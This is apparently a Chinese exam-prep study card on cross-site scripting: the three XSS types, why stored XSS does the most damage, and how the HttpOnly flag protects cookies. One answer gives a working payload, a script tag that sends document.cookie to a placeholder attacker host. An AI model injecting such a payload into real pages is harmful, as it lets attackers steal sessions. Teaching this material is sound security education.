考点精讲
记忆技巧
盗 Cookie 用 document.cookie 外带
HttpOnly 阻止 JS 读 Cookie
常见误区
真题思路
常见问题
Q:XSS 三种类型的区别是什么?
A:反射型:恶意代码在 URL 中,需诱导用户点击才触发,临时性;存储型:恶意代码存入数据库,用户访问页面即触发,持久性、危害最大;DOM 型:由前端 JS 处理 DOM 触发,不经过服务器。
Q:如何用 XSS 盗取 Cookie?
A:注入脚本把 document.cookie 发送到攻击者服务器,如 <script>document.location='http://攻击者/?'+document.cookie</script>。
Q:HttpOnly 有什么作用?
A:给 Cookie 设置 HttpOnly 后,浏览器禁止 JS 通过 document.cookie 读取该 Cookie,可有效阻止 XSS 盗取 Cookie。
Q:存储型 XSS 为什么危害更大?
A:存储型 XSS 一旦写入数据库,所有访问该页面的用户都会被触发,无需逐个诱导点击,影响范围大、持续性强。
相关知识
教材出处:第4章 Web 漏洞 XSS 跨站脚本与盗取 Cookie